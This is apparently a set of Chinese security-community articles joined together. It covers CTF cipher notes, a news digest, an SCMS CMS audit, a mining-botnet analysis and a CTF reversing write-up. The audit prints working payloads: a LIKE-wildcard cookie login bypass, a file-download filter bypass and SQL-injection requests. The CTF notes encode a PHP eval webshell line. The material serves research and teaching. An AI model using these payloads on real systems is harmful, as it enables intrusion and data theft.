好兄弟色豹所创办的IOTsec-Zone社区，专注于物联网安全领域，秉承“专业、创新、自由、开放”的精神，旨在建立高质量、高标准的沉浸式体验社区，为大家提供一个行业信息和技术交流的开放性平台。
<https://iotsec-zone.com/>
春秋伽玛实验室由一群“因为热爱CTF并希望以一己之力改变世界人所构成”，希望大家未来多多参加永信至诚所举办的比赛。未来车联网赛题将可以在i春秋的CTF大本营中训练，尽情期待。
<https://www.ichunqiu.com/competition> | 社区文章 |
# 那些年做过的ctf之加密篇
|
##### 译文声明
本文是翻译文章，文章来源：wooyun
原文地址：<http://drops.wooyun.org/tips/10002>
译文仅供参考，具体内容表达以及含义原文为准。
最近ctf做的比较多,顺便整理一下做个笔记,大概有加密篇、隐写篇、逆向破解和web方向的几篇文章,整理出来之后会陆续发出来。
0x01 Base64
>
> Base64:`ZXZhbCgkX1BPU1RbcDRuOV96MV96aDNuOV9qMXVfU2gxX0oxM10pNTU2NJC3ODHHYWJIZ3P4ZWY=`
Base64编码要求把3个8位字节(3*8=24)转化为4个6位的字节(4*6=24),之后在6位的前面补两个0,形成8位一个字节的形式。
如果剩下的字符不足3个字节,则用0填充,输出字符使用'=',因此编码后输出的文本末尾可能会出现1或2个'='
Base32:
Base32和Base64相比只有一个区别就是,用32个字符表示256个ASC字符,也就是说5个ASC字符一组可以生成8个Base字符,反之亦然。
在线编解码:[http://base64.xpcha.com/](http://base64.xpcha.com/)
0x02 希尔密码
> 希尔密码:密文: `22,09,00,12,03,01,10,03,04,08,01,17` (明文:`wjamdbkdeibr`)
解题思路:使用的矩阵是 1 2 3 4 5 6 7 8 10
原文链接:[http://bobao.360.cn/ctf/learning/136.html](http://bobao.360.cn/ctf/learning/136.html)
百度百科:[http://baike.baidu.com/link?url=R6oWhCdKvzlG8hB4hdIdUT1cZPbFOCrpU6lJAkTtdiKodD7eRTbASpd_YVfi4LMl7N8yFyhVNOz5ki6TC7_5eq](http://baike.baidu.com/link?url=R6oWhCdKvzlG8hB4hdIdUT1cZPbFOCrpU6lJAkTtdiKodD7eRTbASpd_YVfi4LMl7N8yFyhVNOz5ki6TC7_5eq)
0x03 栅栏密码
> 栅栏密码:把要加密的明文分成N个一组,然后把每组的第1个字连起来,形成一段无规律的话。
密文样例:`tn c0afsiwal kes,hwit1r g,npt ttessfu}ua u hmqik e {m, n
huiouosarwCniibecesnren.`
解密程序:
char s[]= "tn c0afsiwal kes,hwit1r g,npt ttessfu}ua u hmqik e {m, n huiouosarwCniibecesnren.";
char t[86]= "";
int i,j,k;
k=0;
for (i=0;i<17;i++)
{
for(j=0;j<5;j++)
{
t[k++]= ch[j*17+i];
}
}
for(i=0;i<85;i++)
{
printf("%c",t[i]);
}
原文链接:<http://blog.csdn.net/shinukami/article/details/45980629>
0x04 凯撒密码
> 凯撒密码:通过把字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。
密文样例:`U8Y]:8KdJHTXRI>XU#?!K_ecJH]kJG*bRH7YJH7YSH]*=93dVZ3^S8*$:8"&:9U]RH;g=8Y!U92'=j*$KH]ZSj&[S#!gU#*dK9.`
解题思路:得知是凯撒加密之后,尝试进行127次轮转爆破:
lstr="""U8Y]:8KdJHTXRI>XU#?!K_ecJH]kJG*bRH7YJH7YSH]*=93dVZ3^S8*$:8"&:9U]RH;g=8Y!U92'=j*$KH]ZSj&[S#!gU#*dK9."""
for p in range(127):
str1 = ''
for i in lstr:
temp = chr((ord(i)+p)%127)
if 32<ord(temp)<127 :
str1 = str1 + temp
feel = 1
else:
feel = 0
break
if feel == 1:
print(str1)
原文链接:<http://blog.csdn.net/shinukami/article/details/46369765>
0x05 Unicode
密文样例:`u5927u5bb6u597duff0cu6211u662fu0040u65e0u6240u4e0du80fdu7684u9b42u5927u4ebauff01u8bddu8bf4u5faeu535au7c89u4e1du8fc7`
在线解密:[tool.chinaz.com/Tools/Unicode.aspx](http://tool.chinaz.com/Tools/Unicode.aspx)
0x06 brainfuck
类型:
++++++++++[>+++++++>++++++++++>+++>+<<<<-]
>++.>+.+++++++..+++.>++.<<+++++++++++++++.
>.+++.------.--------.>+.>.
利用BFVM.exe直接解密
用法 `loadtxt 1.txt`
在线解密:[http://www.splitbrain.org/services/ook](http://www.splitbrain.org/services/ook)
0x07 摩斯密码
密文样例:`-- --- .-. ... .`
* [http://www.jb51.net/tools/morse.htm](http://www.jb51.net/tools/morse.htm)
* [http://msjm.yinxiulei.cn/](http://msjm.yinxiulei.cn/)
0x08 jsfuck
密文中 `()[]{}!+`
在线解密:
* [www.jsfuck.com](http://www.jsfuck.com/)
* [http://patriciopalladino.com/files/hieroglyphy/](http://patriciopalladino.com/files/hieroglyphy/)
0x09 培根密码
培根所用的密码是一种本质上用二进制数设计的。不过,他没有用通常的0和1来表示,而是采用a和b。
百科:[http://baike.baidu.com/link?url=acaeI3babB7MogPQFh98rDAVSwHfPwh-HnEFTb9cx7DZ5Nz4MkMA14H4SDjBNnOdBsJpliNYa1vnfikQGqvA7K](http://baike.baidu.com/link?url=acaeI3babB7MogPQFh98rDAVSwHfPwh-HnEFTb9cx7DZ5Nz4MkMA14H4SDjBNnOdBsJpliNYa1vnfikQGqvA7K)
0x0A 猪圈密码又称共济会密码
百度百科:[http://baike.baidu.com/link?url=yN39kWG2pGd9XHo3RjeUAbd7xs0QlnJ2uHzCJfxC03V-fJcQUdfcJ-WuGoAkKGFVE0AxFK4-98wa4FtzvxRA0_](http://baike.baidu.com/link?url=yN39kWG2pGd9XHo3RjeUAbd7xs0QlnJ2uHzCJfxC03V-fJcQUdfcJ-WuGoAkKGFVE0AxFK4-98wa4FtzvxRA0_)
0x0B CRC32
密文样例:`4D1FAE0B`
import zlib
def crc32(st):
crc = zlib.crc32(st)
if crc > 0:
return "%x" % (crc)
else:
return "%x" % (~crc ^ 0xffffffff)
原文链接:<http://blog.csdn.net/ab748998806/article/details/46382017>
对于其他一些未知密文,可尝试到下列几个网站转换试试,看看运气
* [http://web.chacuo.net/charsetuuencode](http://web.chacuo.net/charsetuuencode)
* [http://blog.csdn.net/ab748998806/article/details/46368337](http://blog.csdn.net/ab748998806/article/details/46368337) | 社区文章 |
# 【知识】6月16日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 国外黑客爆出Avast杀毒软件的内核提权漏洞POC(作者说会持续更新) **、** metasploit加入IDA Pro的debug
server远程代码执行漏洞模块、Berkeley
DB无需认证通过cwd读取配置文件、不要在web服务上启用Coredumps功能!(可能导致getshell)、Adobe Flash Player
SecureSocket Use-After-Free远程代码执行漏洞POC、Schadsoftware:独立于操作系统的恶意软件 **、**
云基础架构之固件安全合规**
**资讯类：**
* * *
微软再次为XP系统推送补丁
<http://blog.trendmicro.com/trendlabs-security-intelligence/microsoft-patches-windows-xp-again-june-patch-tuesday/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Schadsoftware独立于操作系统的恶意软件
[https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/malware—si-raccomanda-prudenza-indipendentemente-dal-sistema-o.html](https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/malware
---si-raccomanda-prudenza-indipendentemente-dal-sistema-o.html)
metasploit加入IDA Pro的debug server远程代码执行漏洞模块
<https://github.com/rapid7/metasploit-framework/pull/8474>
国外黑客爆出Avast杀毒软件的内核提权漏洞POC(作者说会持续更新)
<https://github.com/bee13oy/AV_Kernel_Vulns>
Adobe Flash Player SecureSocket Use-After-Free远程代码执行漏洞POC
<https://github.com/bo13oy/flash/tree/master/poc1>
Berkeley DB无需认证通过cwd读取配置文件
<http://seclists.org/oss-sec/2017/q2/475>
Analyzing the Fileless, Code-injecting SOREBRECT Ransomware
<https://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/>
Smashing Security #029: Exploits to get your English teeth into
[https://www.youtube.com/watch?v=qHXAEmNGcoQ](https://www.youtube.com/watch?v=qHXAEmNGcoQ&app=desktop)
Bugs You'll Probably Only Have in RustAlexis Beingessner
<https://gankro.github.io/blah/only-in-rust/>
APIs are 2FA Backdoors
<http://blog.ioactive.com/2017/06/apis-are-2fa-backdoors.html>
扫描域权限和特权帐户
<https://adsecurity.org/?p=3658>
A WarCon 2017 presentation: Cisco ASA – Exploiting the IKEv1 heap overflow –
CVE-2016-1287
<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/june/a-warcon-2017-presentation-cisco-asa-exploiting-the-ikev1-heap-overflow-cve-2016-1287/>
不要在web服务上启用Coredumps功能!(可能导致getshell)
<https://blog.hboeck.de/archives/887-Dont-leave-Coredumps-on-Web-Servers.html>
在线ssh加密检测工具
<https://sshcheck.com/>
The challenge of verification and testing of machine learning
<http://www.cleverhans.io/security/privacy/ml/2017/06/14/verification.html>
云基础架构之固件安全合规
<https://hardenedlinux.github.io/system-security/2017/06/15/firmware_compliance.html?from=timeline>
[](https://gist.github.com/jobertabma/2900f749967f83b6d59b87b90c6b85ff) | 社区文章 |
# **0x00 Payload**
在看补天漏洞过程中发现有人提交了scms注入漏洞，因此下载了源码进行了简单的审计。
GET /3.gov.php/admin/download.php?DownName=download.Php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: user=%;pass=%;
Connection: close
Upgrade-Insecure-Requests: 1
# **0x01 分析过程**
漏洞产生在admin/download.php文件中：
<?php
require '../conn/conn2.php';
require '../conn/function.php';
if ($_COOKIE["user"]=="" || $_COOKIE["pass"]==""){
setcookie("user","");
setcookie("pass","");
setcookie("auth","");
Header("Location:index.php");
die();
}else{
$sql="select * from SL_admin where A_login like '".filter_keyword($_COOKIE["user"])."' and A_pwd like '".filter_keyword($_COOKIE["pass"])."'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
if (mysqli_num_rows($result) > 0) {
}else{
setcookie("user","");
setcookie("pass","");
setcookie("auth","");
Header("Location:index.php");
die();
}
}
$DownName=$_GET["DownName"];
if(strpos($DownName,".php")!==false){
die("禁止下载PHP格式文件！");
}
downtemplateAction($DownName);
function downtemplateAction($f){
header("Content-type:text/html;charset=utf-8");
$file_name = $f;
$file_name = iconv("utf-8","gb2312",$file_name);
$file_path=$file_name;
if(!file_exists($file_path))
{
echo "下载文件不存在！";
exit;
}
$fp=fopen($file_path,"r");
$file_size=filesize($file_path);
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".$file_name);
$buffer=1024;
$file_count=0;
while(!feof($fp) && $file_count<$file_size)
{
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
}
?>
当cookie中设置了user和pass时，代码执行到12行：
$sql="select * from SL_admin where A_login like '".filter_keyword($_COOKIE["user"])."' and A_pwd like '".filter_keyword($_COOKIE["pass"])."'";
去数据库中查询user和pass是否正确，我第一次想到是这里存在注入，经过尝试发现参数已经被过滤了。
再看sql语句发现判断user和pass是否正确时，用的like而不是=，如果将user和pass都设置成%，sql语句就变成了：
sql="select * from SL_admin where A_login like '%' and A_pwd like '%'";
这样可以从数据库中查到记录，进而绕过登录。
继续查看27-30行代码：
$DownName=$_GET["DownName"];
if(strpos($DownName,".php")!==false){
die("禁止下载PHP格式文件！");
}
发现不允许下载后缀名为php的文件，这里只需要将php用大写替换即可，比如：Php
最后的payload为：
# **0x02 总结**
scm还有多处sql注入漏洞：
1. [http://127.0.0.1/3.gov.php/wap_index.php?type=newsinfo&S_id=112489097%20or%20ascii(substr(user(),1,1))=114](http://127.0.0.1/3.gov.php/wap_index.php?type=newsinfo&S_id=112489097%20or%20ascii\(substr\(user\(\),1,1\)\)=114)
2. <http://127.0.0.1/3.gov.php/js/pic.php?P_id=10440322488%20or%20ascii(substr(user(),1,1))=113>
3.
POST /3.gov.php/js/scms.php?action=comment HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Cookie: authorization=fail; authorization4=1MHwwfHMxMXx3MXx4M3x4MTF8; PHPSESSID=7f1d23f4v12cp323fh6osb9v36; __typecho_lang=zh_CN; __tins__19608037=%7B%22sid%22%3A%201543394079021%2C%20%22vd%22%3A%2012%2C%20%22expires%22%3A%201543396066537%7D; __51cke__=; __51laig__=12; CmsCode=eijb
Connection: close
Upgrade-Insecure-Requests: 1
page=aaaaa11' or if(substr(user(),1,1)='r',sleep(5),1) --+ | 社区文章 |
# 一款“僵尸网络挖矿” 攻击分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、 背景
随着虚拟货币市场的疯狂炒作，挖矿已经成为一种额外的经济来源，越来越多的人参与其中。从2019年安全态势来看，攻击者将企业、政府和教育行业作为挖矿的主要目标，通过弱口令爆破、社会工程和钓鱼等方式对计算机进行攻击，利用他人计算机CPU和GPU的计算能力挖取虚拟货币获利，导致计算资源被耗尽严重影响本地服务正常使用。
## 二、 事件概述
最近在单位测试环境中捕获一款新型挖矿病毒样本。经溯源分析，该挖矿病毒具有蠕虫属性，攻击者利用后门去控制失陷的计算机作为“肉机”，从3个固定的Web服务器来获取攻击的目标IP和所使用的爆破字典，之后通过不断感染其他目标形成僵尸网络。挖矿攻击过程如下图2-1所示：
图2-1挖矿木马攻击流程
## 三、 载荷投递
通过分析发现，此次攻击是一次有组织的攻击，攻击手段复杂多样，利用循环嵌套的方法在第三方网站隐藏真正存放恶意软件IP地址，目前只针对Linux物理机进行攻击，如果检测为蜜罐或者路由器则自动退出。攻击者通过ssh弱口令爆破取得系统权限后，利用ftp从其C&C服务器下载Shell脚本，为后续投递攻击载荷做准备。但是失陷计算机目录未发现“.ssh3”文件，分析人员怀疑攻击者在执行完脚本之后做了自身删除操作。图3-1所示为攻击者通过ftp下载命令。
图3-1 攻击者通过ftp下载恶意Shell
图3-2是在失陷计算机发现的tddwrt7s.sh脚本，猜测该脚本是通过ftp下发，目前下发地址控制台已失效，无法进行验证。
图3-2 通过wget和curl下载恶意软件
攻击者利用wget和curl指令从七个不同的URL下载恶意软件，这些URL下载的数据包中包含了与dota.tar.gz压缩包中同样的文件，如图3-3所示。利用这些URL，脚本随机选择其中一个URL，就可以下载有效载荷解压缩并执行。登陆被感染服务器，安全分析人员发现在X13-unix.tar.gz压缩包中包含了完整的挖矿组件，解压后的dota/.rsync目录中含有大量的恶意代码。攻击者为了掩盖痕迹，将恶意代码文件伪装成了系统指令，下文对恶意代码文件用<恶意代码文件>表示。
图3-3 攻击者下发的大量的相同的数据包
挖矿组件分为a、b、c三个子目录和<init>、<init2>和<initall>脚本，主目录的脚本主要对本地系统进行清理、初始化挖矿环境并启动恶意程序；文件夹a是挖矿组件，用于查杀其他矿机、定时任务和启动挖矿程序；文件夹b中包含了用于植入攻击者的后门组件和一些Shell启动脚本；文件夹c中包含的爆破程序和脚本将失陷计算机作为肉机去感染其他弱口令机器。
## 四、 初步感染
既然已经通过ssh爆破获得本地权限，那么后续则通过一系列脚本初始化本地系统、执行挖矿、安装后门和执行爆破。结合之前目录分析，使用</.rsync/initall>脚本初始化/var/tmp目录，并启动主脚本<init>；</.rsync/init>脚本执行过程如下：
1) 清除自身挖矿进程；
2) 执行挖矿程序；
3) 本地植入后门；
4) 启动爆破工具感染其他主机形成僵尸网；
5) 设置定时任务自启；
目标主机启动之后命令会自动执行。
图4-1 init定时任务脚本
启动挖矿操作详细流程如下：
攻击者为了在挖矿计算期间独占CPU资源，</.rsync/a/init0>通过kill杀死其他矿机并进行删除，部分代码内容如图4-2所示。
图4-2 init0清理其他矿机程序
启动脚本<a>中包含了下一步需要执行的恶意命令，删除当前crontab文件，生成<udp>执行<run>，代码内容如图4-3所示。
图4-3生成udp进而执行run
恶意脚本根据i686架构或x86_64架构判断当前系统环境，如图4-4所示，不同的系统环境启动不同的挖矿程序。cron和anacron功能相同，一个是32位版本，一个是64位版本，两者主要作用是执行挖矿操作，其他Shell脚本则负责清理和删除本地系统中存在的其他挖矿程序。
图4-4 判断系统环境
接下来是挖矿信息分析，挖矿病毒支持Cryptonight系列算法的币种挖矿，逆向分析发现，本次挖矿攻击使用的工具是基于XMRig
家族，编译时间戳为2019年05月03日，该样本今年才开始构建完成，如图4-5和图4-6所示。
图4-5 挖矿病毒使用注释
图4-6 编译时间及版本
根据b目录中的IRCBot遗留的主控服务器IP，在挖矿程序<anacron>中，也发现了与主控服务器在同一个C段的矿池。除此之外，还存在其他两个矿池。挖矿病毒中发现三个矿池分别是5.255.86.129:80
（荷兰）、107.191.99.221:80（美国）和workforce.ignorelist.com，截止分析之前所有矿池均存活，幸运的是找到矿池的同时也发现了攻击者的钱包地址，如图4-7所示。
图4-7 矿池和钱包地址
目前，由于钱包地址被多次举报为僵尸网络，在矿池官网已经无法查看钱包详细信息，钱包也已失效，如图4-8所示。
图4-8 钱包失效
## 五、 命令与控制
攻击者一旦成功入侵计算机系统，就会想方设法通过各种方式连接到C&C服务器。命令和控制组件由一个基于perl脚本的IRCBot后门和可执行文件ps组成。IRCBot充当C&C连接到恶意IRC服务器，并且执行一些内置的命令进行反弹Shell。分析发现，可执行文件<ps>用于通过删除本地主机的.ssh文件夹并植入公钥来建立另一种持久性机制。总结而言，IRCBot作为辅助性的命令与控制，而<ps>则作为长期的后门工具。
后门初始化
命令与控制初始化由</.rsync/b/a>启动<run>开始，该脚本首先解密出IRCBot（以下称rsync）工具，并随后启动ps后门。此次攻击者所使用的挖矿工具使用IRC指令进行命令和控制，通过<ps>将RSA公钥植入到本地失陷系统，以便保持长期登录。
后门植入基本过程
执行一段经过base64编码的代码，解码之后发现代码又采用了另外一种方式混淆。图5-1是run脚本执行编码的后门，下面是详细分析：
图5-1 run启动后门
经过base64解码之后发现了核心代码经过了混淆，如图5-2所示为解析后的代码。
图5-2 混淆过的代码
对混淆的代码进行梳理，代码中eval用来压缩二进制程序，所以只需打印可还原出关键代码。该脚本是一个基于perl的后门工具。rsync是通过开源的ShellBot工具生成，主要功能是通过监听服务器下发IRC指令执行其他的恶意行为。其ServerIP为5.255.86.125（荷兰），图5-3为解密后的IRCBot。
图5-3 解密后的IRCBot
<rsync>工具中所使用的变量和注释是葡萄牙语。具有多种后门功能，其中包括单端口探测、全端口扫描、下载文件和执行远程Shell，除此之外,<rsync>似乎还具有DoS和TCPFlood攻击功能。图5-4为在<rsync>中发现的疑似DoS攻击。
图5-4 疑似DoS攻击
整个<rsync>的功能主要是设置循环，监听来自IRC服务器的指令，图5-5为后门中设置的循环监听功能。该工具结合c目录下的爆破工具<tsm>会将本地失陷计算机变成僵尸网络，向其它存在弱口令的设备植入IRCBot。
图5-5 监听接受来自IRC服务器的指令
具体操作详情在后续分析c目录中叙述，<rsync>功能如图5-6所示。
图5-6 <rsync>功能
另外一个后门工具<.rsync/b/ps>是一个Linux可执行文件，为了保证日后可以密登录，攻击者将RSA公钥添加到失陷计算机.ssh目录中Authorized_keys文件中。<ps>后门植入RSA公钥代码如图5-7所示。
图5-7 植入rsa公钥
通过图5-8不难发现，在失陷计算机上也确实发现了此公钥。
图5-8 本地系统中发现公钥
<ps>作为ssh后门服务器，注释中包含了大量的ssh字符串。功能包括典型的ssh会话、连接服务器、远程Shell以及传输命令等。图5-9是通过ssh连接服务器的一个操作。
图5-9 ssh连接服务器
## 六、 僵尸网络
此次攻击中，攻击者通过爆破程序的扫描功能将IRCBot植入带有弱口令的设备，通过向失陷计算机植入IRCBot程序形成僵尸网络。和其他功能一样，</.rsync/c>目录为ssh爆破组件，依托Shell脚本进行初始化。<start>脚本由</.rsync/init>启动，然后创建脚本并命名为<aptitude>，运行之后启动<run>，进而执行关键脚本<go>。攻击者从第三方网站下载即将要爆破的IP表单和字典，将其作为<tsm>爆破工具的参数进行扫描和爆破，并时隔一天就会重新启动一次。<go>脚本代码如图6-1所示。
图6-1 执行爆破程序
此脚本会利用wget和curl指令遍历相应的恶意服务器网站，从网站/a/xtr目录下载真正存放恶意文件地址，这些地址存放了攻击者实施爆破的IP地址和字典文件。研究人员发现攻击组织通过54.36.182.244（法国），51.75.28.134（法国），103.248.211.198（印度）三个服务器轮询下载IP表单和字典。轮询的三个地址都包含了相同的IP列表文件a和字典文件b，并且这两个文件在实时更新，如图6-2所示。
图6-2 攻击者实时更新IP列表和字典
文件a中包含攻击者将要爆破的IP地址和端口号，IP数量固定为7万个。通过分析<tsm32>和<tsm64>（两个文件一样，简称tsm）可执行程序，作为爆破工具<tsm>可充当扫描器。<tsm>工具使用功能注释部分如图6-3所示，可以看到与<go>脚本中设置的命令一样。
图6-3 爆破程序与脚本内容一致
软件具有远程植入的功能，攻击者通过遍历IP列表，对单个IP尝试爆破，一旦爆破成功就会将IRCBot植入到下一个失陷计算机并上报。图6-4为<tsm>爆破一个IP地址后植入IRCBot，图6-5为后门代码与</.rsycn/b/run>中的所执行的后门代码一致。
图6-4通过ssh植入IRCBot
图6-5爆破攻击内嵌IRCBot
攻击者通过sftp将本地挖矿木马传播到下一个失陷计算机，接着开启会话执行与本地系统相同的Shell指令，开始新一轮的攻击，如图6-6所示。
图6-6 执行相同Shell
## 七、 分析总结和建议
安全界有句话“世界上只有两种系统，一种是已知被攻破的系统，一种是已经被攻破但自己还不知道的系统”，如何阻止网络攻击是每个安全从业者的职责。目前业界普遍认可纵深防御的理念开展网络安全防护工作，通过访问控制FW和网络技术进行安全域隔离，生产与非生产隔离；身份认证IAM进行权限管理、运维审计、双因素认证等；应用防火墙WAF和RASP等技术对应用侧威胁检测与阻断；网络入侵监测防御系统NIDPS对威胁进行识别与阻断；APT检测系统在流量侧进行风险预警；服务器侧威胁检测系统HIDS/EDR对服务器资产、安全配置、运行服务和webshell等情况进行排查；日志管理系统SIEM汇总收集各类型日志，通过场景化日志识别风险并告警；数据库审计系统检测异常访问、数据获取与系统运维行为；安全运营中心SOC对各类安全产品进行汇总，借助统计分析、机器学习等方式对告警进行聚合，进行精准告警并联动阻断；通过众多安全产品开展递进式、多维式的防御，经过安全人员的不断运营起到了良好的防御效果。
但是，这一套系统的投入对于企业来说不可忽视，考虑到ROI问题，通常在非生产环境的安全投入是指数级下降。这里建议，如果企业在非生产环境有互联网服务，一定要尽可能的与生产保持一致的防护水平，如果预算不足，至少在如下几点做好管控：
1) 做好资产管理
所有IP资产责任到人，互联网服务责任到人。至少每半年复核1次，这样安全管理员能够确定资产使用情况，责任人能够了解有人在进行监督，杜绝出现无人认领的资产。
2) 严格访问控制
对于提供互联网服务和访问互联网服务的服务器建议单独设置安全域，严格控制出向访问，建议互联网服务双向进行点对点控制。
3) 不在互联网开放高危端口
严禁在互联网开放21、22、23、44、1433、3389、3306、6379、60000、11211等端口，如必须开放，建议通过VPN方式接入，其中ssh建议改为密钥登录。
4) 做好口令管理
严禁任何服务的任何账户使用空口令、默认口令、简单口令，在技术支持的基础上应强制设置高复杂度口令。
5) 坚持漏洞管理
系统被入侵很大原因是漏洞没有及时修复，像今天还有企业存在“永恒之蓝”、“Struts2”旧版本漏洞，在业务系统具备高可用机制的情况下，应采取“积极”的态度进行漏洞修复，也就是及时漏洞修复真的影响了1台服务器，系统架构具有高可用机制，具备回退窗口，依旧不会对系统造成影响。
6) 采集异常日志
对操作系统、数据库、应用登录等敏感日志进行日志采集，针对短时高频失败、短时跨地域、单账号多地同时在线等敏感场景进行捕捉告警。
6、重视“人”的因素
不论是资产的管理还是防护工作的管理都会归集的对“人”的管理，只有将安全意识深入人心，安全的短板才会真正补齐。
7) 落实安全体系
安全工作是一项综合工作，如何“有效”且“全面”的开展，应该在“网安法”和“等级保护2.0”的基础上开展制度体系建设，通过“制度”指引“人”对“资产”开展“防护”工作。
8) 争取预算
安全工作讲究“感知力”（及监测能力），纵深防御每个阶段都有不同的监测与防御能力，单一产品不可能具有“全面”的监测能力，要想做到安全的全面防护，需要企业持续的进行人才培养和资金投入。 | 社区文章 |
CTFtime平台上发现的一场比赛，记录一下其中的2道逆向题
# Feed_me
题目打开，发现一个`scanf("%s",s)`，明显有栈溢出倾向，而IDA将变量识别如下
注意后面的三个`atoi`，后两个的参数比较迷，相对`s`的偏移分别为10和20，这里我把`s`的类型重新定义为`char s[30]`
因为这题保护全开，不是考察pwn，应该是考察栈上变量偏移的识别
那么我们输入的字符串每10个字符被解析成3个`int`型数据
主要的判断可以看做三元一次方程
input1 + input2 = num1
input2 + input3 = num2
input3 + input1 = num3
=>
input1 = num1 + num3 - num2 / 2
input2 = num1 + num2 - num3 / 2
input3 = num2 + num3 - num1 / 2
多说一句，解方程时把三个式子加起来除以二后，分别减去每一个式子，即可得到方程的解
根据`srand(time(0))`和`rand()`的特性：随机种子确定，生成的序列也确定，写出python脚本扔程序跑就可以了
但是我不太熟悉python对rand的处理，直接C程序跑出来，手动喂给程序了
## 补充
解题过程中有一些想法
这里num1，num2，num3都是`unsigned int`，而它们都被以`%d`的形式输出
因为`rand()`返回值为`int`型，但是必定返回一个正数，模10000后再乘以`-2`，相当于把一个绝对值很小的负数赋值给了`unsigned
int`
以`%d`有符号数输出结果，是三个负数，是应该的
可是num系列数据的实际类型是无符号的，是一个很大的正数
而我们输入的字符串被解析成了3个`int`数据，而且都是负数，在判断时，如何比较一个`正unsigned int`和`负int`？
看一下汇编代码
2个`int`数据`add`后与`unsigned int`比较，实际上应该是比较的二进制数据
只要二进制的32个bit相等，那么就判断相等
做一个小实验
#include<stdio.h>
#include<stdlib.h>
int main(int argc,char**argv){
int num1 = -1;
unsigned int num2 = -1;
if(num1==num2){
printf("num1==num2");
}
return 0;
}
`num1`就是单纯的-1，而num2会是`0xffffffff`，是一个大正数
实际上`if`判断为真，会输出`num1==num2`
>
> 发现这个问题的原因主要是，我本地写C代码测试时，发现以`%d`输出预期的值input1、input2、input3时，都是长度为10的int数据，而连起来就是30长度的纯数字字符串，这不能被`atoi`识别，超过范围会返回`-1`，于是有了上文的一些想法，发现原来是二进制比较的问题
# Super Secure Vault
IDA打开，主逻辑如下
发现函数名都在，而且`getNum`和`mod`函数都接收了一个字符串作为参数，实际上是指向字符串的指针
先看一下`getNum`函数
它的作用实际上是从字符串中取出一段数据并返回int64型
`mod`函数的行为也和名字一样
注意到程序虽然用了`scanf`，但是保护全开，也就没有`REpwn`这种要改数据的可能性了，输入的长度姑且认为是30
因为`getNum`返回的值不受我们输入字符串的影响，只要动态调出来就可以了
比如第一个值是27644437，要求`input % 27644437 == 213`
同样的，可以得出以下5个线性同余方程组
input % 27644437 == 213
input % 10459 == 229
input % 1489 == 25
input % 1046527 == 83
input % 16127 == 135
和中国剩余定理有关，网上找个脚本解一下
from functools import reduce
def egcd(a, b):
if 0 == b:
return 1, 0, a
x, y, q = egcd(b, a % b)
x, y = y, (x - a // b * y)
return x, y, q
def Chinese_remainder(pairs):
mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
mod_product = reduce(lambda x, y: x * y, mod_list)
mi_list = [mod_product//x for x in mod_list]
mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
x = 0
for i in range(len(remainder_list)):
x += mi_list[i] * mi_inverse[i] * remainder_list[i]
x %= mod_product
return x
if __name__=='__main__':
print(Chinese_remainder([(27644437, 213), (10459, 229), (1489, 25),(1046527,83),(16127,135)]))
出结果：
长度也符合要求，是一个符合条件的解
然后我们就被要求输入`password`
主要逻辑在`func2`中
我们第一轮输入的字符串会被追加"27644437104591489104652716127"
再被追加`0x3038`和`\x00`
然后基本就是查表了，由于程序开了PIE，我不知道怎么用angr秒解它，于是只能patch程序，用gdb下断点看了
这里把两行中的`!=`改成了`==`，并且下断点观察矩阵中给出的值
密码随便输入`!!!!!!!!!!!!!!`
然后RAX中的值，也就是`cmp cl,al`中会给出应该输入的字符
收集一下就是：`pctf{R3v3rS1Ng_#s_h311_L0t_Of_Fun}`
我猜测程序中可能是手动把符合同余方程组的解都算了一遍？然后把数据填入那个巨型矩阵？
最后其他位置乱放了一些字符？
# 总结一下
这两道题的基本是一个递进的关系，其中第二题的函数编写值得学习一下，C语言如何处理这种大数的mod，之前我没有仔细想过，这段代码实现也没有彻底的理解...... | 社区文章 |
**作者：NiuBL@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/ECLwMbbrf9lWXkhbUergXg>**
随着Ruby越来越流行，Ruby相关的安全问题也逐渐暴露，目前，国内专门介绍Ruby安全的文章较少，本文结合笔者所了解的Ruby安全知识点以及挖掘到的Ruby相关漏洞进行描述，希望能给读者在Ruby代码审计上提供帮助。
## **Ruby简介**
Ruby是一种面向对象、指令式、函数式、动态的通用编程语言。在20世纪90年代中期由日本电脑科学家松本行弘（Matz）设计并开发。Ruby注重简洁和效率，句法优雅，读起来自然，写起来舒适。
## **Ruby安全**
